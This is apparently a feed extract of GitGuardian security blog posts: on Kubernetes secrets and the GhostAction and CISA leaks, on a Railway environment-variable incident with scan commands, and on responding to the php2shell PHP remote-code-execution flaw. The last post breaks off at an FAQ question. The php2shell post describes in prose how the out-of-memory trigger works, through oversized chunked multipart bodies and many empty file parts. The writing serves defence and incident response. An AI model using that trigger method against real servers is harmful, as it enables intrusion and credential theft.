&lt;p&gt;The &lt;a href="https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/" rel="noopener noreferrer"&gt;&lt;em&gt;GhostAction supply chain campaign&lt;/em&gt;&lt;/a&gt;, which originally ran between Aug. 31 and Sept. 30, 2026, affected 772 public repositories and targeted 2,577 secret values. GitGuardian's researchers originally uncovered this attack. The attack targeted credentials used by automation, including cloud keys and container registry credentials.&lt;/p&gt;

&lt;p&gt;Most workflow executions during this attack required approvals, which limited how bad this was and how many people were affected. However, a subsequent October wave affected another 346 repositories, with external researchers confirming successful exfiltration.&lt;/p&gt;

&lt;p&gt;GhostAction targeted CI/CD infrastructure. The consequences can extend into Kubernetes because deployment pipelines frequently hold credentials granting access to registries and cloud services.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr8rutjc07ywkcth1n713.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fr8rutjc07ywkcth1n713.png" alt="GhostAction Incident - Top leaked Secrets" width="800" height="498"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;An attacker who steals those credentials may gain access to the same infrastructure used by legitimate deployment automation.&lt;/p&gt;

&lt;p&gt;Securing Kubernetes therefore requires controls around the systems that build and deploy workloads.&lt;/p&gt;

&lt;h3&gt;
  
  
  The CISA repository leak exposed credentials and infrastructure context
&lt;/h3&gt;

&lt;p&gt;In May 2026, GitGuardian researchers discovered a public GitHub repository named Private-CISA. While that might not sound that unusual, since CISA might stand for many different things, this repo contained 844 MB of plain-text passwords, AWS tokens, and Entra ID SAML certificates belonging to CISA, the US Cybersecurity and Infrastructure Security Agency. The exposed files included Kubernetes manifests, ArgoCD configurations, and Terraform infrastructure code.&lt;/p&gt;

&lt;p&gt;Researchers tested many of these credentials and found them valid.&lt;/p&gt;

&lt;p&gt;Researchers also found credentials and documentation describing internal infrastructure. The exposed information provided insight into how systems were configured and connected. Attackers could potentially use that context to identify valuable credentials and determine where those credentials might work.&lt;/p&gt;

&lt;p&gt;The repository was taken offline following coordinated disclosure. But like with any incident, &lt;a href="https://blog.gitguardian.com/cisa-github-leak-incident-response-lessons/" rel="noopener noreferrer"&gt;&lt;em&gt;any exposed credentials still required investigation and appropriate remediation&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Repository scanning and credential lifecycle management help organizations address both the immediate exposure and its continuing consequences.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reducing the blast radius of exposed Kubernetes credentials
&lt;/h2&gt;

&lt;p&gt;Like with all Top 10 lists from OWASP, we have recommendations that provide a practical foundation for reducing risk, this time around Kubernetes credentials.&lt;/p&gt;

&lt;p&gt;Strict RBAC limits which identities can retrieve secrets. Namespace boundaries and network policies restrict access between workloads. Encryption at rest protects sensitive values stored in etcd.&lt;/p&gt;

&lt;p&gt;Credential detection should also cover the software delivery process. Source repositories, CI/CD workflows, and container images all create opportunities for secrets to spread before applications reach production.&lt;/p&gt;

&lt;p&gt;Security teams need to review credentials when they are exposed. While they might not be ultimately the "owner" of these credentials, they are the team responsible for dealing with the fallout of abuse of these credentials. They need to know validity, permissions, and actual usage to help determine the remediation priority. Rotation and revocation remove compromised access, while tighter permissions limit what future exposures can accomplish.&lt;/p&gt;

&lt;p&gt;Workload identity federation provides an opportunity to reduce access persistence. GitGuardian's research found Kubernetes credentials that remained valid years after their original exposure. Supported Kubernetes workloads can use trusted identities to obtain temporary access to external services. Short-lived tokens reduce the useful lifetime of stolen credentials and the need to distribute permanent keys.&lt;/p&gt;

&lt;p&gt;The long-term objective is to reduce the number of standing credentials while strengthening controls around those that remain.&lt;/p&gt;

&lt;h2&gt;
  
  
  How GitGuardian helps secure the Kubernetes credential layer
&lt;/h2&gt;

&lt;p&gt;Kubernetes workloads depend on credentials that originate across the enterprise. Developer endpoints, source repositories, and CI/CD systems all participate in the credential lifecycle.&lt;/p&gt;

&lt;p&gt;GitGuardian helps organizations secure this credential layer through three connected capabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detect exposed credentials and identify their context
&lt;/h3&gt;

&lt;p&gt;GitGuardian detects exposed secrets across supported repositories and development environments. ggshield extends scanning into CI/CD workflows and container images.&lt;/p&gt;

&lt;p&gt;When configured to integrate with Kubernetes clusters, the platform maps identity and infrastructure context, helping security teams understand where credentials are used and what access they provide.&lt;/p&gt;

&lt;h3&gt;
  
  
  Remediate exposed credentials and reduce excessive access
&lt;/h3&gt;

&lt;p&gt;Finding a credential is just the first step; you need to actually remediate the findings. Security teams need to prioritize, investigate, and then take the right actions to reduce risk. This starts with establishing whether it remains valid and which services depend on it.&lt;/p&gt;

&lt;p&gt;GitGuardian empowers investigation and prioritization for teams of any size. Part of this process includes using validity checks and surfacing contextual risk information. This helps teams coordinate rotation and reduce unnecessary permissions while protecting production availability.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkgb4bm409lk5lng00h3l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkgb4bm409lk5lng00h3l.png" alt="GitGuardian Exploration Map example" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Prevent new credential exposures
&lt;/h3&gt;

&lt;p&gt;An ounce of prevention is worth a pound of remediation.&lt;/p&gt;

&lt;p&gt;GitGuardian makes tools available for the developer and the local coding assistants to prevent secrets from being added or used throughout the software development process. ggshield, the GitGuardian CLI, supports developer-side checks and automated scanning within CI/CD pipelines. AI hooks provide additional checkpoints where agents interact with sensitive information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/developer-endpoint-protection" rel="noopener noreferrer"&gt;&lt;em&gt;Developer Endpoint Protection&lt;/em&gt;&lt;/a&gt; extends visibility into local machines where credentials tend to aggregate. This helps teams identify which secrets on a developer's laptop carry the most risk and plan remediation for plaintext secrets that haven't yet been abused or leaked publicly. This also gives you a clear prioritization path in cases of infostealer attacks affecting your organization.&lt;/p&gt;

&lt;p&gt;Together, these capabilities help organizations reduce secrets sprawl across development and production environments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kubernetes security requires control over your credential layer
&lt;/h2&gt;

&lt;p&gt;The OWASP Kubernetes Top 10 shows how exposed credentials can put entire environments at risk. A single leaked token can provide access to workloads, cloud infrastructure, and connected systems.&lt;/p&gt;

&lt;p&gt;Securing Kubernetes and other production systems requires visibility and control across the entire credential layer. This stretches from developer laptops to repositories, CI/CD pipelines, and production workloads. Every system that can hold plaintext secrets is part of your credential layer.&lt;/p&gt;

&lt;p&gt;GitGuardian helps you gain that control. Discover exposed credentials, prioritize remediation, and prevent new secrets from spreading across your development and production environments.&lt;/p&gt;

&lt;p&gt;Get started with GitGuardian and take control of your credential layer today.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/book-a-demo" rel="noopener noreferrer"&gt;&lt;em&gt;Book a demo now.&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is the OWASP Kubernetes Top 10?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The OWASP Kubernetes Top 10 is a prioritized list of the most pressing risks affecting Kubernetes environments, based on real-world issues the community is reporting and working on. Its ten categories cover insecure workload configurations, overly permissive authorization, secrets management failures, missing network segmentation, exposed components, cluster to cloud lateral movement, broken authentication, and inadequate logging and monitoring.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why does K03, Secrets Management Failures, deserve special attention?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Credentials very often provide access to systems far beyond the original cluster, and the permissions tied to a secret determine the consequences of an exposure. A database credential may expose customer records, a service account token may let an attacker retrieve more Secret objects, and a cloud credential may grant access to infrastructure outside Kubernetes. K03 also connects directly to excessive authorization and cluster to cloud lateral movement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do secrets get exposed in Kubernetes environments?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;OWASP identifies six common paths: secrets baked into container images, sensitive values in ConfigMaps, secrets passed as environment variables, credentials committed to code repositories, excessive WATCH or LIST access to Secret objects, and secrets written to application logs. Each one can give an attacker usable credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do leaked credentials lead to Kubernetes cluster compromise?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GitGuardian researchers identified 44 active Kubernetes clusters accessible through leaked secrets, and 30% of them had been exposed for more than two years. In one case, a service account token embedded in a public Docker image opened a cluster that held more credentials, which in turn opened private container images and GitHub organizations. A single leaked token created access to more secrets and additional systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the GhostAction campaign and why does it matter for Kubernetes security?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GhostAction was a supply chain campaign, first uncovered by GitGuardian researchers, that affected 772 public repositories and targeted 2,577 secret values used by automation, including cloud keys and container registry credentials. A later wave affected another 346 repositories. The impact reaches Kubernetes because deployment pipelines frequently hold credentials that grant access to registries and cloud services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How can teams reduce the blast radius of exposed Kubernetes credentials?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use strict RBAC to limit which identities can retrieve secrets, apply namespace boundaries and network policies, and encrypt sensitive values in etcd at rest. Detect credentials across repositories, CI/CD workflows, and container images, then check validity, permissions, and actual usage to prioritize rotation and revocation. Workload identity federation and short-lived tokens reduce how long stolen credentials stay useful.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How does GitGuardian help secure the Kubernetes credential layer?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GitGuardian detects exposed secrets across supported repositories and development environments, and ggshield extends scanning into CI/CD workflows and container images. The platform maps identity and infrastructure context when integrated with Kubernetes clusters, and validity checks and contextual risk information help teams prioritize remediation. For prevention, ggshield, AI hooks, and Developer Endpoint Protection catch secrets before they spread.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>security</category>
      <category>owasp</category>
      <category>devops</category>
    </item>
    <item>
      <title>Railway October 2026 Incident: Treat Every Environment Variable as Exposed</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Mon, 26 Oct 2026 12:28:41 +0000</pubDate>
      <link>https://dev.to/gitguardian/railway-october-2026-incident-treat-every-environment-variable-as-exposed-24oa</link>
      <guid>https://dev.to/gitguardian/railway-october-2026-incident-treat-every-environment-variable-as-exposed-24oa</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhmzjruvw53m1y8q1hxbz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhmzjruvw53m1y8q1hxbz.png" alt="Railway October 2026 Incident: Treat Every Environment Variable as Exposed" width="800" height="419"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What happened in the Railway security incident
&lt;/h2&gt;

&lt;p&gt;On Oct. 21, 2026, Railway disclosed anomalous activity on the systems that store customer environment variables.&lt;/p&gt;

&lt;p&gt;An unauthorized third party may have accessed encrypted environment variables and, for some of them, obtained the decrypted values. &lt;a href="https://blog.railway.com/p/preliminary-report-october-security-incident" rel="noopener noreferrer"&gt;Railway is asking&lt;/a&gt; all customers to rotate their environment variables, including API keys and private registry credentials, and has paused deployments during the investigation.&lt;/p&gt;

&lt;p&gt;Railway believes the impact is limited to a subset of users, who will be contacted by email. It links the attack to "a series of attacks recently targeting platform companies with the aim of compromising AI inference providers," a pattern that echoes the &lt;a href="https://blog.gitguardian.com/vercel-april-2026-incident-non-sensitive-environment-variables-need-investigation-too/" rel="noopener noreferrer"&gt;Vercel incident&lt;/a&gt; from April.&lt;/p&gt;

&lt;h2&gt;
  
  
  Investigate, then rotate every Railway environment variable
&lt;/h2&gt;

&lt;p&gt;Treat every secret stored in Railway as at risk until investigated. Identify the exposed credentials, check where they are used, and confirm whether they are still active or already abused. Then revoke or rotate them, redeploy, and verify dependent services.&lt;/p&gt;

&lt;p&gt;Railway sealed variables cannot be read back from the UI, the API, or the CLI. That limits casual exposure, but the disclosure does not say whether they were in scope. Rotate them too.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to scan Railway environment variables for secrets
&lt;/h2&gt;

&lt;p&gt;Railway customers can dump their environment variables locally and scan them.&lt;/p&gt;

&lt;p&gt;Dump the variables of each service and environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;railway variable list --service &amp;lt;service&amp;gt; --environment &amp;lt;environment&amp;gt; --kv &amp;gt; .env.railway
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then scan the file with GitGuardian:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ggshield secret scan path .env.railway
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitGuardian identifies which variables contain valid secrets. &lt;strong&gt;This gives you a prioritized list of what to rotate first.&lt;/strong&gt; If you dumped several services into the same directory, scan them all at once:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ggshield secret scan path -r .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rotate secrets in upstream services, such as AWS, GCP, GitHub, or AI providers, before updating the values in Railway. Delete the dumped files once done.&lt;/p&gt;

&lt;h2&gt;
  
  
  Railway's recommended next steps
&lt;/h2&gt;

&lt;p&gt;Railway recommends that customers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rotate all &lt;a href="https://blog.gitguardian.com/secure-your-secrets-with-env/" rel="noopener noreferrer"&gt;environment variables&lt;/a&gt;&lt;/strong&gt; stored in Railway, including API keys.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate private registry credentials.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review logs&lt;/strong&gt; of the services using these credentials for unusual activity. Railway published dedicated guides for &lt;a href="https://blog.railway.com/p/security-disclosure-recommendation-check-for-anomalous-aws-access" rel="noopener noreferrer"&gt;AWS&lt;/a&gt;, &lt;a href="https://blog.railway.com/p/security-disclosure-recommendation-check-for-anomalous-gcp-access" rel="noopener noreferrer"&gt;GCP&lt;/a&gt;, and &lt;a href="https://blog.railway.com/p/security-disclosure-recommendation-check-for-anomalous-github-access" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Follow the &lt;a href="https://status.railway.com/incident/QH8L8B3E" rel="noopener noreferrer"&gt;status page&lt;/a&gt;&lt;/strong&gt;, since new deployments are paused until builds are restored.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Talk to GitGuardian to see how you can strengthen your security controls.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/book-a-demo" rel="noopener noreferrer"&gt;Book the demo now.&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devsecops</category>
      <category>appsec</category>
      <category>devops</category>
    </item>
    <item>
      <title>Responding to php2shell When You Don't Know Your Secrets</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Fri, 23 Oct 2026 18:31:27 +0000</pubDate>
      <link>https://dev.to/gitguardian/responding-to-php2shell-when-you-dont-know-your-secrets-2b75</link>
      <guid>https://dev.to/gitguardian/responding-to-php2shell-when-you-dont-know-your-secrets-2b75</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqeln1x824wn8y1gbdpg1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqeln1x824wn8y1gbdpg1.png" alt="Responding to php2shell PHP Vulnerability When You Don't Know What Secrets Are Deployed" width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pre-auth RCE in default PHP setups:&lt;/strong&gt; PHP fixed php2shell on Oct. 21, 2026. It abuses how PHP handles out-of-memory fatal errors and works against Apache mod_php and PHP-FPM on common CMS, webmail, and e-commerce apps.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every secret on the host is exposed:&lt;/strong&gt; The RCE can potentially allow attackers to read config.php and .env files using the PHP worker's existing permissions. That gives them database, SMTP, cloud, and OAuth credentials to move into systems outside PHP.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is php2shell and how does it work?
&lt;/h2&gt;

&lt;p&gt;The root cause is how PHP handles a fatal error when a request exceeds memory_limit. The fatal error interrupts the operation in progress and leaves it half-finished: a hash table whose counters were incremented before the new bucket was initialized, or session globals still pointing into memory that request shutdown then frees. Calif turns that stale state into code execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Two ways to trigger the out-of-memory condition
&lt;/h3&gt;

&lt;p&gt;There are two ways to trigger the out-of-memory condition.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bodies that skip the size check:&lt;/strong&gt; On Apache, a chunked HTTP/1.1 or length-less HTTP/2 multipart body is never checked against &lt;code&gt;post_max_size&lt;/code&gt;, since PHP compares it with the declared Content-Length.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Empty file parts that skip the upload count:&lt;/strong&gt; multipart request with hundreds of file parts using &lt;code&gt;filename=""&lt;/code&gt;, which carry no data, are not counted toward &lt;code&gt;max_file_uploads&lt;/code&gt;, and still each create six &lt;code&gt;$_FILES&lt;/code&gt; entries, combined with nested field names. The body stays under the default 8 MiB &lt;code&gt;post_max_size&lt;/code&gt; while building &lt;code&gt;$_FILES&lt;/code&gt; exceeds the default 128 MiB &lt;code&gt;memory_limit&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Which PHP deployments are exploitable
&lt;/h3&gt;

&lt;p&gt;Both Apache mod_php and PHP-FPM are exploitable: mod_php against arbitrary scripts, PHP-FPM when the application reaches the vulnerable unserialize path. The fix is to upgrade PHP.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why php2shell is a secrets theft vector
&lt;/h2&gt;

&lt;p&gt;The RCE gives read access to everything next to the PHP code: &lt;strong&gt;database credentials&lt;/strong&gt; in &lt;code&gt;config.php&lt;/code&gt;, &lt;strong&gt;API keys, SMTP credentials, cloud access keys, and OAuth client secrets&lt;/strong&gt; in &lt;code&gt;.env&lt;/code&gt; files. No privilege escalation is needed: the PHP worker already has the permissions.&lt;/p&gt;

&lt;p&gt;A compromised WordPress instance hands over the database, the mailer, and whatever third-party service the plugins talk to. From there, the attacker pivots to systems that have nothing to do with PHP.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why secret rotation stalls after a PHP compromise
&lt;/h2&gt;

&lt;p&gt;When the alert fires, the security team contains the server, takes forensics, and looks for persistence. The next questions are which secrets were on that machine, are they still valid, and where else are they used.&lt;/p&gt;

&lt;p&gt;If the team does not know what secrets are deployed on the target, the list has to be rebuilt by hand from deployment scripts and Slack threads. That takes hours, and the &lt;a href="https://blog.gitguardian.com/why-exposed-secrets-stay-valid/" rel="noopener noreferrer"&gt;credentials stay valid the whole time&lt;/a&gt;. In most remediations we see, identifying and rotating exposed secrets is manual, done from dashboard data, and starts after the compromise.&lt;/p&gt;

&lt;h2&gt;
  
  
  php2shell incident response: six immediate actions
&lt;/h2&gt;

&lt;p&gt;Once php2shell exploitation is confirmed or suspected on a host:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Isolate the host:&lt;/strong&gt; Take the host off the network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Suspend access:&lt;/strong&gt; Suspend user access on the host.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sweep other PHP hosts:&lt;/strong&gt; Check every other PHP host for the same indicators: the attacker's source IPs and the oversized multipart requests in the access logs, new files under the web root.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inventory and rotate secrets:&lt;/strong&gt; Identify every secret on the host (configuration files, environment, shell history) and rotate them in the order set by your impact mapping.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit downstream access:&lt;/strong&gt; Investigate the logs of what those secrets give access to: Kubernetes audit logs, CloudTrail for AWS keys.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hunt for payload execution:&lt;/strong&gt; Look for payload execution indicators: unexpected PHP child processes, outbound connections from the web server, new files under the web root.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Step 4 is where teams lose time. A PHP host that has been running for five years accumulates credentials nobody remembers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prepare your secrets inventory before you need it
&lt;/h2&gt;

&lt;p&gt;Step 4 takes minutes instead of hours when the following is written down before the incident, for every exposed service, PHP or not.&lt;/p&gt;

&lt;h3&gt;
  
  
  Perimeter knowledge
&lt;/h3&gt;

&lt;p&gt;For each host: the vendors and secret types expected on it (database, cloud provider, GitLab, SMTP), the accounts they belong to (AWS account ID, Azure tenant, GitHub organization), and the domain names and machines it talks to.&lt;/p&gt;

&lt;h3&gt;
  
  
  Secret-to-impact mapping
&lt;/h3&gt;

&lt;p&gt;For each secret: what it protects (customer data, source code, personal data, billing), and the resulting revocation order if everything on the box leaks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dependencies and authorities
&lt;/h3&gt;

&lt;p&gt;For each secret: what breaks when it is rotated, who owns the vendor account, and who to escalate to when that person is not reachable.&lt;/p&gt;

&lt;p&gt;Keep it next to the incident response runbook and update it when a service is deployed or decommissioned.&lt;/p&gt;

&lt;h2&gt;
  
  
  How GitGuardian helps with php2shell incident response
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2kewrvrkjctts9uv2pds.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2kewrvrkjctts9uv2pds.png" alt="How GitGuardian helps with php2shell incident response" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once php2shell exploitation is confirmed, step four becomes the bottleneck: listing every secret on the host and rotating them in the right order. How fast that goes depends on whether the host was inventoried before the incident.&lt;/p&gt;

&lt;h4&gt;
  
  
  If the host was already inventoried
&lt;/h4&gt;

&lt;p&gt;When a host has already been inventoried, &lt;a href="https://www.gitguardian.com/nhi-governance" rel="noopener noreferrer"&gt;NHI Governance&lt;/a&gt; and &lt;a href="https://www.gitguardian.com/developer-endpoint-protection" rel="noopener noreferrer"&gt;Endpoint Protection&lt;/a&gt; give responders the context they need to prioritize credential rotation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What the host held:&lt;/strong&gt; every credential found on the compromised host.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Who owns each one:&lt;/strong&gt; the person accountable for rotating it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Where else it works:&lt;/strong&gt; other hosts, images, repositories, or developer laptops that share the same credential.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What to revoke first:&lt;/strong&gt; a revocation order based on each credential's criticality.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Knowing the owner is what turns "revoke the SMTP key" into a name to call at 3 a.m.&lt;/p&gt;

&lt;h4&gt;
  
  
  If the host was never inventoried
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://github.com/GitGuardian/ggshield" rel="noopener noreferrer"&gt;ggshield&lt;/a&gt; scans the forensic image directly, without touching the live host. With a GitGuardian API key configured, this command lists the secrets in the web root and its configuration files, including the ones that never went through a repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ggshield secret scan path &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; /mnt/image/var/www
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The results go into the same platform, so each secret gets an owner and a rotation status like the rest of the inventory. The next incident on that host starts from the case above.&lt;/p&gt;

&lt;p&gt;Patch PHP. Then check that you can list the secrets present on the box and who owns them.&lt;/p&gt;

&lt;h2&gt;
  
  
  How GitGuardian helps you to prepare for the next breach
&lt;/h2&gt;

&lt;p&gt;Steps 4 and 5 are an inventory problem. The inventory is best built before an incident, but GitGuardian can also build it during the response, which is faster than running homemade scripts. To reduce exposure before the next incident and detect intrusion when it happens:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.gitguardian.com/nhi-governance" rel="noopener noreferrer"&gt;NHI Governance&lt;/a&gt; builds it: it discovers the service accounts, API keys, and tokens in use across the dev ecosystem, attributes each one to an owner, scores its criticality, and flags the ones overdue for rotation under the policy you configured. The three blocks of the playbook above (perimeter, impact, dependencies, and authorities) come out of that inventory instead of a spreadsheet, and a credential that has not been rotated since the host was built shows up as overdue before anyone exploits php2shell.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.gitguardian.com/developer-endpoint-protection" rel="noopener noreferrer"&gt;Developer Endpoint Protection&lt;/a&gt; feeds the same inventory from the other end of the chain. The .env and config.php that end up on the PHP host start on a developer laptop, next to ~/.aws, shell history, and MCP configuration files. ggshield runs on schedule on those machines, with no continuous agent, and reports the secrets found by machine and severity.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.gitguardian.com/honeytoken" rel="noopener noreferrer"&gt;Honeytokens&lt;/a&gt; detect intrusion. Placed in a &lt;code&gt;.env&lt;/code&gt; or &lt;code&gt;config.php&lt;/code&gt; on the host, they fire an alert when used. An attacker who reads the configuration after php2shell will try them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/book-a-demo" rel="noopener noreferrer"&gt;Book a demo now.&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is php2shell?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;php2shell is a pre-auth remote code execution vulnerability in PHP, named by Calif and fixed on Oct. 21, 2026. It works under default configurations and abuses how PHP handles a fatal error when a request exceeds memory_limit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do attackers trigger php2shell?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They push a request past memory_limit in one of two ways. The first sends chunked or length-less multipart bodies on Apache, which skip the post_max_size check. The second sends hundreds of empty file parts, which skip the max_file_uploads count.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which PHP deployments are vulnerable to php2shell?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Both Apache mod_php and PHP-FPM. mod_php is exploitable through any script, and PHP-FPM when the application reaches the vulnerable unserialize path. The fix is to upgrade PHP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why is php2shell a secrets theft risk?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The RCE can read config.php and .env files with the PHP worker's existing permissions. That exposes database, SMTP, cloud, and OAuth credentials, which attackers use to move into systems beyond PHP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What should I do if php2shell was exploited on my server?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Isolate the host, suspend user access, and sweep other PHP hosts for the same indicators. Then rotate every secret on the host, check the logs of the systems those secrets unlock, and look for signs that a payload ran.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do I find out which secrets were on a compromised PHP host?&lt;/strong&gt;&lt;/p&gt;

